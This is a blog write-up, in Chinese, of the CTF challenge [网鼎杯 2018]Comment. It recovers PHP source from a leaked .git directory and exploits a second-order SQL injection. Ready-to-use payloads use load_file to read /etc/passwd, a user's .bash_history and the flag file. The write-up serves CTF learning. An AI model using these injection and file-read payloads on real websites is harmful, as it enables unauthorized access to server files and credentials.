0%

[网鼎杯 2018]Comment

前言:

 堕落了好几天,今天还是不怎么在状态,可能是天气太冷导致我懒懒散散的。

爆破密码

 打开题目发现是留言板类似的,尝试发布一个,但是此时要登录。根据提示尝试爆破得到,账号密码 zhangwei zhangwei666。然后再次发帖,发帖后有一个详情,里面可以评论。估计可以用到二次注入,但是不知道具体注入方式。

git泄漏

我们使用githacker,抓取git泄漏数据。

  1. 我们抓取到一个页面代码如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
    break;
    case 'comment':
    break;
    default:
    header("Location: ./index.php");
    }
    }
    else{
    header("Location: ./index.php");
    }
    很明显这是修改了的代码,我们找找看原来的代码。
  2. 使用git log无果,我们试试git log --reflog得到:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    root@kali:~/GitHacker/8e630737-5866-4b0d-bd1f-6eafdf0f8f18_node3_buuoj_cn_# git log --reflog
    commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
    Merge: bfbdf21 5556e3a
    Author: root <root@localhost.localdomain>
    Date: Sat Aug 11 22:51:17 2018 +0800

    WIP on master: bfbdf21 add write_do.php

    commit 5556e3ad3f21a0cf5938e26985a04ce3aa73faaf
    Author: root <root@localhost.localdomain>
    Date: Sat Aug 11 22:51:17 2018 +0800

    index on master: bfbdf21 add write_do.php

    commit bfbdf218902476c5c6164beedd8d2fcf593ea23b (HEAD -> master)
    Author: root <root@localhost.localdomain>
    Date: Sat Aug 11 22:47:29 2018 +0800

我们猜测需要恢复到commit e5b2a2443c2b6d395d06960123142bc91123148c (refs/stash)
3. 使用 git reset 进行恢复 使用git reset e5b2a2443c但是没有达到我们想要的效果。具体也也不太清楚,这里我们恢复时使用 git reset --hard e5b2a2443c 以后进行恢复时都带个--hard参数吧
4. 得到代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

代码分析

  1. 有2个表,boardcomment。我们在发帖时会把数据相关插入到board表中。当我们去评论时会调用带board表中的相关数据,此时我们想到了二次注入。
  2. 经页面测试发现,我们发完贴后去留言,留言内容会被显示出来。
  3. 我们来看看comment的这里
    1
    2
    3
    4
    "insert into comment
    set category = '$category',
    content = '$content',
    bo_id = '$bo_id'";
    $category,$content是我们可控的。且最后显示的是content,我们可以尝试闭合content = '$content',

解题

  1. 我们发一个贴,其中 category 为',content=user(),/*其它随意,然后去详情里面评论*/#。这样就会回显我们当前用户信息。
  2. 最后变成类似如下语句:
    1
    2
    3
    4
    insert into comment
    set category = ' ',content=user(),/*',
    content = '*/#',
    bo_id = '$bo_id'";
    其中 /**/是一个多行注释符,#是一个当行注释符。这样就达到了闭合的效果。
    注意:进入数据库后是没有反斜杠的
  3. 按照刚刚的思路来读取一下/etx/passwd payload: ',content=(select load_file('/etc/passwd')),/* 得到了www的用户目录。
  4. 我们继续读取隐藏的文件,.bash_history。 payload :‘,content=(select load_file(‘//home/www/.bash_history’)),/* 看用户的命令记录
    可以看到执行了以下命令:
    1
    cd /tmp/ unzip html.zip rm -f html.zip cp -r html /var/www/ cd /var/www/html/ rm -f .DS_Store service apache2 start
  5. 从中我们可以看到删除了一个文件,可能就是flag。我们仔细一看可以到/tmp/html下访问到。使用payload‘,content=(select hex(load_file(‘//tmp/html/.DS_Store’))),/* ,16进制解码后可以知道flag_8946e1ff1ee3e40f.php这个文件。
  6. 我们使用payload: ',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/* 16进制解码后得到flag

为什么知道flag在这个目录下呢?/var/www/html它是网站根目录,稍微死记一下吧。


-------------本文结束感谢您的阅读-------------